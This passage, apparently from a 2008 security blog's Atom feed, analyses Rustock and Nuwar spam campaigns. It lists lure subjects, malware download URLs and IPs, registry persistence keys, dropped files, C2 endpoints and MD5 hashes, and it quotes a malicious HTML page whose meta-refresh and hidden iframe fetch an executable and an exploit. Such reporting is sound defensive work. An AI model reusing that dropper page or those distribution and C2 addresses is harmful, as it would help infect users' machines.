href='http://xanalysis.blogspot.com/feeds/1227096295791657330/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=1227096295791657330' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/1227096295791657330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/1227096295791657330'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/08/journalists-shot-in-georgia-georgiazip.html' title='Journalists shot in Georgia - Georgia.zip'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_q7ApSx8GNew/SLf9gis8geI/AAAAAAAAABE/SIM0Hd_WbXI/s72-c/zip.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-2011514311128801319</id><published>2008-08-14T15:08:00.010-04:00</published><updated>2008-08-14T15:20:39.458-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><category scheme='http://www.blogger.com/atom/ns#' term='rustock'/><category scheme='http://www.blogger.com/atom/ns#' term='botnet'/><title type='text'>msnbc.com Malspam</title><content type='html'>The Rustock botnet has moved from spam related CNN Alerts to MSNBC Breaking News Alerts. The MSNBC emails use the subject “msnbc.com - BREAKING NEWS:” followed by a variable message. Sample messages include:&lt;br /&gt;&lt;br /&gt;“Google launches free music downloads in China”&lt;br /&gt;“Mexican arrested on billion-dollar graft case”&lt;br /&gt;“NASA Claim to Have Achieved First Zero-Gravity Erection”&lt;br /&gt;“Even The New Yorker 'Cartoon Dogs' Are Pissed at the 'Obama Cover”&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_q7ApSx8GNew/SKSC0vXeYjI/AAAAAAAAAA0/cPW9Wz_lTTE/s1600-h/msn_email.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5234452509491094066" style="CURSOR: hand" alt="" src="http://3.bp.blogspot.com/_q7ApSx8GNew/SKSC0vXeYjI/AAAAAAAAAA0/cPW9Wz_lTTE/s320/msn_email.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The “Find out more at…” hyperlink redirects to various web pages that offer a Video ActiveX Object necessary to view the video. The Video ActiveX Object download typically named something like adobe_flash.exe is a CbEvtSvc trojan variant. Sample URLs include:&lt;br /&gt;&lt;br /&gt;http://gekkoeurope.com/up.html (195.47.247.83, DK)&lt;br /&gt;http://bg-buttisholz.ch/up.html (80.74.155.30, CH)&lt;br /&gt;http://sprtx.com/msn.html (72.232.91.106, US)&lt;br /&gt;http://ebuzzdigital.com/msnlive.html (74.54.81.143, US)&lt;br /&gt;&lt;br /&gt;Find out more at &amp;lt;a href="http://bg-buttisholz.ch/up.html"&amp;gt;http://breakingnews.msnbc.com&amp;gt;/a&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_q7ApSx8GNew/SKSDcDzJAuI/AAAAAAAAAA8/2YKnbY5oiJo/s1600-h/msn_download.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5234453184990741218" style="CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_q7ApSx8GNew/SKSDcDzJAuI/AAAAAAAAAA8/2YKnbY5oiJo/s320/msn_download.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Malware Analysis&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The msnbc.com - BREAKING NEWS spam hyperlink loads a CNN or MSN codec download page. A sample from http[:]//bg-buttisholz.ch/up.html downloads adobe_flash.exe. The trojan adobe_flash.exe copies itself as C:\WINDOWS\System32\CbEvtSvc.exe and installs CbEvtSvc.exe as a service named CbEvtSvc.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CbEvtSvc&lt;br /&gt;"DisplayName" = CbEvtSvc&lt;br /&gt;"ErrorControl" = 1&lt;br /&gt;"ImagePath" = %SystemRoot%\System32\CbEvtSvc.exe -k netsvcs&lt;br /&gt;"ObjectName" = LocalSystem&lt;br /&gt;"Opt"&lt;br /&gt;"Start" = 2&lt;br /&gt;"Type" = 10&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CbEvtSvc\Enum&lt;br /&gt;"0" = Root\LEGACY_CBEVTSVC\0000&lt;br /&gt;"Count" = 1&lt;br /&gt;"NextInstance" = 1&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CbEvtSvc\Security&lt;br /&gt;"Security" = 01, 00, 14, 80, 90, 00, 00, 00, 9C, 00, 00, 00, 14, 00, 00, 00, 30, 00, 00, 00, 02, 00, 1C, 00, 01, 00, 00, 00, 02, 80, 14, 00, FF, 01, 0F, 00, 01, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 02, 00, 60, 00, 04, 00, 00, 00, 00, 00, 14, 00, FD, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 00, 00, 18, 00, FF, 01, 0F, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 20, 02, 00, 00, 00, 00, 14, 00, 8D, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 0B, 00, 00, 00, 00, 00, 18, 00, FD, 01, 02, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 23, 02, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The CbEvtSvc.exe trojan downloads additional malware. A sample CbEvtSvc.exe execution downloaded 13scan.exe, install.exe, and fg.exe from 78.109.19.50 (UA).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Install.exe&lt;/strong&gt;&lt;br /&gt;The malware install.exe is a rustock variant that causes the host to join a spam botnet. The malware install.exe copies itself as C:\Documents and Settings\LocalService\Application Data\728739263.exe (variable name). The malware 728739263.exe creates C:\WINDOWS\TEMP\7.tmp which creates the hidden device service %System%\drivers\962e1fdd.sys (variable name).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\962e1fdd&lt;br /&gt;ImagePath = "%System%\drivers\962e1fdd.sys"&lt;br /&gt;Type = 1&lt;br /&gt;Start = 1&lt;br /&gt;ErrorControl = 1&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The malware hooks "%System%\drivers\beep.sys" and hides its registry subkeys (ZwCreateEvent, ZwCreateKey, ZwOpenKey). The rustock trojan perfomed DNS lookups for google.com A records and google.com, yahoo.com, aol.com, microsoft.com, and 208.72.168.191 MX records. The malware made the following POST connections to receive spam instructions.&lt;br /&gt;&lt;br /&gt;POST http://208.72.168.191/login.php&lt;br /&gt;POST http://208.72.168.191/data.php&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;13scan.exe&lt;br /&gt;&lt;/strong&gt;The malware 13scan.exe copies itself as C:\Documents and Settings\LocalService\Application Data\668311381.exe. The malware 668311381.exe failed to execute due to application errors. The malware is a rogue security product such as Antivirus XP 2008.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;fg.exe&lt;br /&gt;&lt;/strong&gt;The malware fg.exe copies itself as C:\Documents and Settings\LocalService\Application Data\521632863.exe. The malware 521632863.exe creates setupapi.dll in the Program Files folder of installed web browsers. The dll hooks into iexplore.exe, firefox.exe, etc. The malware serves as an infostealer trojan.&lt;br /&gt;&lt;br /&gt;C:\Program Files\Internet Explorer\setupapi.dll&lt;br /&gt;C:\Program Files\Mozilla Firefox\setupapi.dll&lt;br /&gt;&lt;br /&gt;The following files were observed during malware analysis.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Filename MD5 Size&lt;br /&gt;13scan.exe 1debb2fcbb4ae9a912bb309ea560241e 129536&lt;br /&gt;521632863.exe 202ce1f4d8ffedd868c722763a40f4f2 34816&lt;br /&gt;668311381.exe 1debb2fcbb4ae9a912bb309ea560241e 129536&lt;br /&gt;7.tmp 831e11da49fee6b692d009b8f71822cf 137216&lt;br /&gt;962e1fdd.sys fc5be1b115c13c707ad8f33d8411be51 109762&lt;br /&gt;adobe_flash.exe 61229aa4f0bb47a80df0b1026cb30fe9 74752&lt;br /&gt;CbEvtSvc.exe 61229aa4f0bb47a80df0b1026cb30fe9 74752&lt;br /&gt;fg.exe 202ce1f4d8ffedd868c722763a40f4f2 34816&lt;br /&gt;install.exe 831e11da49fee6b692d009b8f71822cf 137216&lt;br /&gt;setupapi.dll cf63737c8b5ea3d2cd9fe130cc4c7519 52736&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;http://www.marshal.com/trace/traceitem.asp?article=742&lt;br /&gt;http://www.symantec.com/security_response/writeup.jsp?docid=2008-041717-0829-99&amp;amp;tabid=2&lt;br /&gt;http://www.symantec.com/security_response/writeup.jsp?docid=2006-070513-1305-99&amp;amp;tabid=2&lt;br /&gt;http://www.symantec.com/security_response/writeup.jsp?docid=2008-071613-4343-99&amp;amp;tabid=2&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-2011514311128801319?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/2011514311128801319/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=2011514311128801319' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/2011514311128801319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/2011514311128801319'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/08/msnbccom-malspam.html' title='msnbc.com Malspam'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_q7ApSx8GNew/SKSC0vXeYjI/AAAAAAAAAA0/cPW9Wz_lTTE/s72-c/msn_email.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-5079584431030742426</id><published>2008-06-01T19:14:00.018-04:00</published><updated>2008-06-01T20:26:07.582-04:00</updated><title type='text'>video_file.exe Nuwar Variant</title><content type='html'>Nuwar malware variants continue to propogate through spammed email attachments purporting to be erotic pictures and videos of various celebrities. The following discusses an example detected as &lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2008-041717-0829-99&amp;amp;tabid=2"&gt;Trojan.Erotpics &lt;/a&gt;(Symantec) and &lt;a href="http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=TROJ%5FNUWAR%2EABK&amp;amp;VSect="&gt;TROJ_NUWAR.ABK &lt;/a&gt;(Trend Micro).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Malicious Nuwar Email:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;A spam email arrives appearing to include a link for a Jennifer Aniston video.&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_q7ApSx8GNew/SEMwxjDBQNI/AAAAAAAAAAs/Drv-lSUavOg/s1600-h/spam.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5207059221950054610" style="CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_q7ApSx8GNew/SEMwxjDBQNI/AAAAAAAAAAs/Drv-lSUavOg/s320/spam.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The "Download now" hyperlink links to http: //do-haguenau[dot]com/index1.php. The index1.php script returns a location redirect to http: //do-haguenau[dot]com/main34.html. The main34.html code contains a META tag that downloads video_film.exe in 5 seconds, a hyperlink for directly downloading video_film.exe, and an iframe for http: //do-haguenau[dot]com/pindex.php.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt; &amp;lt;&lt;strong&gt;META HTTP-EQUIV="refresh" CONTENT="5;URL=http://do-haguenau[dot]com/video_film.exe&lt;/strong&gt;"&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;amp;gt&lt;strong&gt;;&amp;lt;iframe src="http: //do-haguenau[dot]com/pindex.php" style="width:1px; height:1px;"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/strong&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;div style="text-align:center; padding-top:100px;"&amp;gt;&amp;lt;img src="wamkl.gif"&amp;gt;&amp;lt;br&amp;gt;Please Wait!&amp;lt;br&amp;amp;gt&lt;strong&gt;;&amp;lt;a href="http: //do-haguenau[dot]com/video_film.exe"&amp;amp;gt&lt;/strong&gt;;Download Video&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The iframe for http: //do-haguenau[dot]com/pindex.php returns MDAC MS06-014 exploit code resulting in the request for http: //do-haguenau[dot]com//load.php which is downloaded as 1.exe.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Malware Analysis:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;video_film.exe&lt;/u&gt;&lt;br /&gt;The Nuware malware video_film.exe copies itself as C:\WINDOWS\System32\CbEvtSvc.exe.&lt;br /&gt;&lt;br /&gt;The following registry keys are created:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CbEvtSvc]&lt;br /&gt;"DisplayName"=CbEvtSvc&lt;br /&gt;"ErrorControl"=1&lt;br /&gt;"ImagePath"=%SystemRoot%\System32\CbEvtSvc.exe -k netsvcs&lt;br /&gt;"ObjectName"=LocalSystem&lt;br /&gt;"Opt"&lt;br /&gt;"Start"=2&lt;br /&gt;"Type"=10&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CbEvtSvc\Enum]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"0"=Root\LEGACY_CBEVTSVC\0000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Count"=1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"NextInstance"=1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Security"=01, 00, 14, 80, 90, 00, 00, 00, 9C, 00, 00, 00, 14, 00, 00, 00, 30, 00, 00, 00, 02, 00, 1C, 00, 01, 00, 00, 00, 02, 80, 14, 00, FF, 01, 0F, 00, 01, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 02, 00, 60, 00, 04, 00, 00, 00, 00, 00, 14, 00, FD, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 00, 00, 18, 00, FF, 01, 0F, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 20, 02, 00, 00, 00, 00, 14, 00, 8D, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 0B, 00, 00, 00, 00, 00, 18, 00, FD, 01, 02, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 23, 02, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware downloads 14instne.exe and ccbjq.exe from wbnet.com.br (66.7.212.241) and 1.exe from spiderfront.net (206.51.236.176).&lt;br /&gt;&lt;br /&gt;&lt;u&gt;14instne.exe&lt;/u&gt;&lt;br /&gt;The malware is detected as &lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2007-062007-0946-99&amp;amp;tabid=1"&gt;Trojan.Srizbi &lt;/a&gt;(Symantec). The malware installs as a rootkit and generates spam. The malware 14instne.exe copies itself as C:\Documents and Settings\LocalService\Application Data\1107833316.exe. The malware 1107833316.exe creates the hidden file C:\WINDOWS\system32\drivers\qandr.sys.&lt;br /&gt;&lt;br /&gt;The following registry keys are created:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\qandr]&lt;br /&gt;"Type"=dword:00000001&lt;br /&gt;"Start"=dword:00000002&lt;br /&gt;"ErrorControl"=dword:00000001&lt;br /&gt;"ImagePath"=str(2):"\??\C:\WINDOWS\system32\drivers\qandr.sys"&lt;br /&gt;"DisplayName"="qandr"&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\qandr\Security]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Security"=hex:01,00,14,80,90,00,00,00,9c,00,00,00,14,00,00,00,30,00,00,00,02,00,1c,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01,00,00,00,00,00,01,00,00,00,00,02,00,60,00,04,00,00,00,00,00,14,00,fd,01,02,00,01,01,00,00,00,00,00,05,12,00,00,00,00,00,18,00,ff,01,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,00,00,14,00,8d,01,02,00,01,01,00,00,00,00,00,05,0b,00,00,00,00,00,18,00,fd,01,02,00,01,02,00,00,00,00,00,05,20,00,00,00,23,02,00,00,01,01,00,00,00,00,00,05,12,00,00,00,01,01,00,00,00,00,00,05,12,00,00,00&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;ccbjq.exe&lt;/u&gt;&lt;br /&gt;The Nuware variant malware ccbjq.exe copies itself as C:\Documents and Settings\LocalService\Application Data\971313497.exe. The malware 971313497.exe copies itself as C:\WINDOWS\System32\CcEvtSvc.exe.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcEvtSvc]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"DisplayName"=CcEvtSvc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"ErrorControl"=1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"ImagePath"=%SystemRoot%\System32\CcEvtSvc.exe -k netsvcs&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;ObjectName"=LocalSystem&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Opt"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Start"=2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Type"=10&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcEvtSvc\Enum]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"0"=Root\LEGACY_CCEVTSVC\0000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Count"=1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"NextInstance"=1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Security"=01, 00, 14, 80, 90, 00, 00, 00, 9C, 00, 00, 00, 14, 00, 00, 00, 30, 00, 00, 00, 02, 00, 1C, 00, 01, 00, 00, 00, 02, 80, 14, 00, FF, 01, 0F, 00, 01, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 02, 00, 60, 00, 04, 00, 00, 00, 00, 00, 14, 00, FD, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 00, 00, 18, 00, FF, 01, 0F, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 20, 02, 00, 00, 00, 00, 14, 00, 8D, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 0B, 00, 00, 00, 00, 00, 18, 00, FD, 01, 02, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 23, 02, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;1.exe&lt;/u&gt;&lt;br /&gt;The malware CbEvtSvc.exe downloads 1.exe from spiderfront.net (206.51.236.176). 1.exe is another &lt;a href="http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=TROJ_NUWAR.AOL&amp;amp;VSect=T"&gt;Nuware variant &lt;/a&gt;(Trend Micro)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /l.php?id=144&amp;amp;dgfd=sfdsf HTTP/1.0&lt;br /&gt;Accept: */*&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)&lt;br /&gt;Host: spiderfront.net&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sat, 31 May 2008 19:13:29 GMT&lt;br /&gt;Server: Apache/2.2.3 (CentOS)&lt;br /&gt;X-Powered-By: PHP/5.1.6&lt;br /&gt;Content-Disposition: attachment; filename=1.exe&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: application/octet-stream&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The malware 1.exe copies itself as C:\Documents and Settings\LocalService\Application Data\1307074916.exe. The malware 1307074916.exe creates the following files:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\System32\sockins32.dll&lt;br /&gt;C:\WINDOWS\System32\sft.res&lt;br /&gt;C:\WINDOWS\index.html&lt;br /&gt;&lt;br /&gt;The following registry keys are created:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_CLASSES_ROOT\CLSID\{66186F05-BBBB-4a39-864F-72D84615C679}]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"(Default)"=WebProxy&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_CLASSES_ROOT\CLSID\{66186F05-BBBB-4a39-864F-72D84615C679}\InProcServer32]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"(Default)"=sockins32.dll"ThreadingModel"=Apartment&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_CLASSES_ROOT\CLSID\{FFFFFFFF-BBBB-4146-86FD-A722E8AB3489}]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"(Default)"=Microsoft copyright&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_CLASSES_ROOT\CLSID\{FFFFFFFF-BBBB-4146-86FD-A722E8AB3489}\InprocServer32]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"(Default)"=sockins32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"ThreadingModel"=Apartment&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_CLASSES_ROOT\CLSID\{FFFFFFFF-BBBB-4146-86FD-A722E8AB3489}\ProgID]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"(Default)"=MS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_CLASSES_ROOT\CLSID\{FFFFFFFF-BBBB-4146-86FD-A722E8AB3489}\TypeLib]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"(Default)"={0AB9CC99-BBBB-40cb-A718-9A2AF9026DFD}&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{66186F05-BBBB-4a39-864F-72D84615C679}]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"(Default)"=Systray component&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"IsInstalled"=1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Locale"=EN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"StubPath"=rundll32 sockins32.dll,InitModule&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Version"=1,0,0,2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"WebProxy"={66186F05-BBBB-4a39-864F-72D84615C679}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\TSoft]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Ad"=gde*&gt; caftt}vc`~e!~t{?sfu&gt;#?xa&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"Ad2"=gde*&gt; txhyene}up{x?f~w`?sfu&gt;#?xa&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"MainM"&lt;/span&gt;=&lt;span style="font-family:courier new;"&gt;XDH@BEX&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; OGG&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"NN"=m=88&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;"NUM"=lQQQQQQQQ:UUUU:#&amp;amp;#!:/!QS:V %%R/VU$#/.j&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following files were observed during malware analysis.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;1.exe bfbdf69eb3b1c9311bd5bfe4e6da9233 106497&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;1107833316.exe c048fc3c849151071ddef5fb91e189c4 17203214&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;instne1.exe c048fc3c849151071ddef5fb91e189c4 172032&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;1.exe 8679dce8b2cdd441493bc73a8f08e971 92672&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;971313497.exe 1bdbf846973a29a39fc0e78d1e1597ed 115200&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;arpaqprq.tmp ac8ff8e2fd73b1fc534a58113eebdbf4 29&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CbEvtSvc.exe 327476b3f320d220a71ca59f52725a1c 106496&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ccbjq.exe 1bdbf846973a29a39fc0e78d1e1597ed 115200&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CcEvtSvc.exe 1bdbf846973a29a39fc0e78d1e1597ed 115200&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;index.html ca2f1210f73456befb556a52ea1ae089 578&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;qandr 98f8b44240dd7793f1a8236a146395b4 130048&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;sft.res af87b7446983df37b85ac04c091824ce 7268&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;sockins32.dll 849c8247a5673359bfae683e106e277b 32768&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;video_film.exe 